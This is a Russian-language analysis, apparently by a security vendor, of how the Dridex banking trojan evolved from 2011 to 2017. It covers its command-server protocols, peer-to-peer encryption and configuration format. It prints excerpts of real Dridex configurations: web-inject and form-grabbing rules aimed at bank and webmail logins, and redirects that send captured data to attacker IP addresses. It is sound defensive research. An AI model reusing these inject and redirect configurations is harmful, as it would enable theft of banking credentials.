Банковский троянец Dridex, ставший одной из главных финансовых киберугроз последних лет (в 2015 году ущерб, нанесенный им, оценивался в более чем $40 млн), отличается от других вредоносных программ тем, что, существуя с 2011 года, постоянно развивается и усложняется. Так долго избегать правосудия Dridex смог благодаря сокрытию основных командных центров за проксирующими слоями. Основываясь на том, что с появлением новых версий старые перестают работать, а каждое новое улучшение является очередным шагом в планомерном развитии зловреда, можно сделать вывод, что на протяжении всего этого времени его разработкой занимаются одни и те же люди. Ниже мы кратко расскажем о том, как на протяжении шести лет развивалось это вредоносное ПО и раскроем технические особенности его последних версий.
С чего все начиналось
Первое появление Dridex (тогда - Cridex) как самостоятельной вредоносной программы датируется примерно сентябрем 2011 года. Анализ образца Cridex (MD5: 78cc821b5acfc017c855bc7060479f84) показал, что вредоносная программа уже тогда умела получать динамический конфигурационный файл, использовать веб-инжекты для кражи денег, а также могла заражать USB-накопители. Эта особенность повлияла на имя детекта "нулевой" версии Cridex - Worm.Win32.Cridex.
Данная версия имела бинарный конфигурационный файл:
Сами веб-инжекты, благодаря секциям databefore, datainject и dataafter, были похожи на распространенную вредоносную программу Zeus (этому могла поспособствовать утечка исходных кодов Zeus в 2011 году).
Cridex 0.77-0.80
В 2012 году модификация Cridex (MD5: 45ceacdc333a6a49ef23ad87196f375f) претерпела значительные изменения: злоумышленники отказались от функции заражения USB и заменили бинарный формат конфигурационного файла и пакетов на XML. Запрос зловреда к командному серверу выглядел следующим образом:
|
1
2
3
4
5
6
7
8
9 |
<message set_hash="" req_set="1" req_upd="1">
<header>
<unique>WIN-1DUOM1MNS4F_A47E8EE5C9037AFE</unique>
<version>600</version>
<system>221440</system>
<network>10</network>
</header>
<data></data>
</message> |
Корневым элементом XML был тег <message>. В теге <header> содержалась информация о системе, идентификаторе бота, а также версии.
А вот пример конфигурационного файла:
|
1
2
3
4
5 |
<packet><commands><cmd id="1354" type="3"><httpinject><conditions><url type="deny">\.(css/js)($/\?)</url><url type="allow" contentType="^text/(html/plain)"><![CDATA[https://.*?\.usbank\.com/]]></url></conditions><actions><modify><pattern><![CDATA[<body.*?>(.*?)]]></pattern><replacement><
Пример конфигурационного файла:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29 |
<root>
<settings hash="65762ae2bf50e54757163e60efacbe144de96aca">
<httpshots>
<url type="deny" onget="1" onpost="1">\.(gif/png/jpg/css/swf/ico/js)($/\?)</url>
<url type="deny" onget="1" onpost="1">(resource\.axd/yimg\.com)</url>
</httpshots>
<formgrabber>
<url type="deny">\.(swf)($/\?)</url><url type="deny">/isapi/ocget.dll</url>
<url type="allow">^https?://aol.com/.*/login/</url>
<url type="allow">^https?://accounts.google.com/ServiceLoginAuth</url>
<url type="allow">^https?://login.yahoo.com/</url>
...
<redirects>
<redirect name="1st" vnc="0" socks="0" uri="http://81.208.13.10:8080/injectgate" timeout="20">twister5.js</redirect>
<redirect name="2nd" vnc="1" socks="1" uri="http://81.208.13.10:8080/tokengate" timeout="20">mainsc5.js</redirect>
<redirect name="vbv1" vnc="0" socks="0" postfwd="1" uri="http://23.254.129.192:8080/logs/dtukvbv/js.php" timeout="20">/logs/dtukvbv/js.php</redirect>
<redirect name="vbv2" vnc="0" socks="0" postfwd="1" uri="http://23.254.129.192:8080/logs/dtukvbv/in.php" timeout="20">/logs/dtukvbv/in.php</redirect>
</redirects>
<httpinjects>
<httpinject><conditions>
<url type="allow" onpost="1" onget="1" modifiers="U"><![CDATA[^https\://.*/tdsecure/intro\.jsp.*]]></url>
<url type="deny" onpost="0" onget="1" modifiers="">\.(gif/png/jpg/css/swf)($/\?)</url>
</conditions>
<actions>
<modify><pattern modifiers="msU"><![CDATA[onKeyDown\=".*"]]></pattern><replacement><![CDATA[onKeyDown=""]]></replacement></modify>
<modify><pattern modifiers="msU"><![CDATA[(\<head.*\>)]]></pattern><replacement><
Таким образом закрытие одной популярной бот-сети (Gameover Zeus) привело к резкому скачку в развитии другой, включающей в себя множество совпадений со своим предшественником.
Выше мы отметили, что Dridex начал использовать PCRE, а в предыдущих версиях зловреда использовался SLRE. Примечательно, что единственной банковской вредоносной программой, которая также использовала SLRE, был Trojan-Banker.Win32.Shifu. Этот троянец был обнаружен в августе 2015 года и распространялся посредством спама с тех же ботнетов, что и Dridex. Кроме того, и в том, и в другом банкерах использовался формат XML для конфигурационных файлов.
Также у нас есть основание полагать, что по крайней мере в 2014 году за Dridex стояли русскоговорящие злоумышленники. На это указывают комментарии в исходном коде командного сервера:
Dridex: от версии 2 к версии 3
К началу 2015 года в Dridex появляется подобие пиринговой сети, что опять же напоминает нам о троянце Gameover Zeus. В данной сети некоторые пиры (суперноды) имели доступ к командному центру и перенаправляли запросы других членов сети к нему. Конфигурационный файл по-прежнему хранился в формате XML, но в него была добавлена секция <nodes>, которая сдержала список актуальных пиров. Также появилось шифрование протокола общения с командным центром.
Dridex: от версии 3 к версии 4
28 августа 2015 был арестован один из администраторов сети Dridex. В первых числах сентября перестают работать сети с идентификаторами: 120, 200, 220. Но уже в октябре они возвращаются в строй и появляются новые: 121, 122, 123, 301, 302, 303.
Интересно, что в это время ужесточаются меры предосторожности злоумышленников. В частности, вводится фильтрация по географическому положению: в пакете запроса к командному центру появилось поле IP, на основании которого определялась страна пира. Если страна не попадала в целевой список стран, то пир получал сообщение об ошибке.
В 2016 году усложнился загрузчик и поменялись методы шифрования. Протокол загрузчика изменился на бинарный, а также появилась секция <settings>, содержащая конфигурационный файл в бинарном формате.
Dridex 4.x. Back to future
Четвертая версия Dridex была обнаружена в начале 2017 года. По своим возможностям она похожа на третью, за исключением того, что злоумышленники отказались от использования XML в конфигурационном файле и пакетах и вернулись к бинарному формату. Анализ новых образцов сильно осложняется тем, что загрузчик теперь работает максимум пару дней, примерно так же было с Lurk, только там загрузчик работал пару часов.
Анализ пакетов загрузчика
Структура пакетов четвертой версии схожа с пакетами поздних модификаций версии 3.х загрузчика. Однако имена запрашиваемых модулей были заменены хэшами:
А вот функция общения с командным центром, в которой используются данные хэши:
Зная структуру пакетов предыдущей версии и сопоставив их с пакетами четвертой, можно догадаться какой хэш к какому модулю относится.
В четвертой версии Dridex достаточно много мест, где используется алгоритм хэширования CRC32: это и хэши для поиска API функций, и проверка целостности пакетов. Логично было бы предположить, что хэши в пакетах - это ни что иное как CRC32 от имен запрашиваемых модулей. Несложно проверить это предположение, выполнив следующий код Python:
Все верно, полученные хэши CRC32 соответствуют таковым в коде программы.
Если же говорить о шифровании пакетов загрузчика, то здесь ничего не изменилось. Как и в Dridex версии 3 используется алгоритм RC4 с ключом, хранящимся в зашифрованном виде в теле вредоносной программы.
Кроме того, стал значительно строже протокол авторизации загрузчиков. Время жизни сократилось до одного дня, после чего сменяются ключи шифрования, и старые загрузчики становятся бесполезны. Все устаревшие образцы получают в качестве ответа от сервера ошибку 404.
Анализ протокола и шифрования бота
В Dridex версии 4 были сохранены основные черты взаимодействия c командным сервером, пиры по-прежнему играют роль прокси и могут обмениваться модулями. Но шифрование и сама структура пакетов сильно изменились: теперь они напоминают секцию <settings> из прошлой версии Dridex. Больше никаких XML.
Функция Basic Packet Generation используется для создания пакетов для общения как с командным сервером, так и с пирами. Пакеты для командного сервера делятся на два типа:
- Регистрация, передается сгенерированный публичный ключ;
- Запрос конфигурационного файла.
На выходе данной функции получается следующий пакет:
В начале пакета идет длина RC4 ключа (74h), который будет использоваться для шифрования строк в этом пакете. Далее две части этого ключа одного размера. Настоящий ключ получается путем XOR этих блоков. Далее тип пакета (00h) и зашифрованный идентификатор бота.
Peer-to-Peer encryption
Пример зашифрованного P2P-пакета:
Заголовок в P2P-пакете - это массив DWORD, общая сумма которых равна нулю. Обфусцированный размер данных такой же, как и в предыдущее версии. А вот сами данные зашифрованы по-новому:
Сначала идет ключ 16 байт, затем 4 байта сведений о размере данных, зашифрованных предыдущим ключом с помощью RC4. Далее идет ключ 16 байт и данные, зашифрованные этим ключом с помощью RC4. После расшифровки получим пакет, сжатый gzip.
Peer to C&C encryption
При общении с командным центром используется, как и раньше, связка RSA + RC4 шифрование + HTTPS. Пиры в этом случаи работают как прокси. Структура зашифрованного пакета - 4 байта CRC далее RSA_BLOB. После расшифровки RSA (пакеты запросов расшифровать невозможно без наличия закрытого ключа командного сервера) получаем GZIP-пакет.
Конфигурационный файл
Нам удалось получить и расшифровать конфигурационный файл бот-сети 222:
По своей структуре он сильно напоминает секцию <settings> из предыдущей версии Dridex. Сначала идет 4-байтный хэш, а затем секции конфигурационного файла.
|
1
2
3
4
5 |
struct DridexConfigSection {
BYTE SectionType;
DWORD DataSize;
BYTE Data[DataSize];
}; |
Типы секций те же, что и в <settings>:
- 01h - HttpShots
- 02h - Formgrabber
- 08h - Redirects
- etc.
Изменилось лишь шифрование строк конфигурационного файла, теперь используется RC4.
|
1
2
3
4
5
6 |
struct EncryptedConfigString{
BYTE RC4Key1[16]; // Size"s encryption key
DWORD EncryptedSize;
BYTE RC4Key2[16]; // Data"s encryption key
BYTE EncryptedData[Size];
}; |
RC4 также использовалось для шифрования данных p2p-пакетов.
География распространения
Потенциальных жертв создатели Dridex ищут в Европе. В период с первого января по начало апреля 2017 года мы обнаружили активность Dridex в нескольких европейских странах. Большая часть срабатываний - почти 60% - была зафиксирована в Великобритании, следом идут Германия и Франция. В то же время зловред принципиально не работает в России - командные сервера определяют страну по IP и не отвечают, если это Россия.
Заключение
За несколько лет существования семейства Dridex не раз предпринимались безуспешные попытки прекратить активность бот-сети. Непрерывное развитие зловреда показывает, что преступники не собираются расставаться со своим детищем, которое приносит стабильный доход. Так, например, в Dridex постоянно появляются новые техники обхода системы контроля учетных записей (User Account Control, UAC), позволяющие осуществлять запуск вредоносных компонентов в Windows-системах.
Можно предположить, что за троянцами Dridex и Zeus Gameover стоят одни и те же люди, возможно, русскоговорящие. Однако утверждать это наверняка мы не можем. Невозможно точно оценить и ущерб, нанесенный киберпреступниками. По крайне приблизительной оценке, на данный момент речь может идти о сотнях миллионах долларов. А учитывая то, как развивается зловред, можно предположить, что в разработку этого банковского троянца инвестируется значительная часть "заработанных" средств.
Анализ сделан на основе следующих семплов:
Dridex4 loader: d0aa5b4dd8163eccf7c1cd84f5723d48
Dridex4 bot: ed8cdd9c6dd5a221f473ecf3a8f39933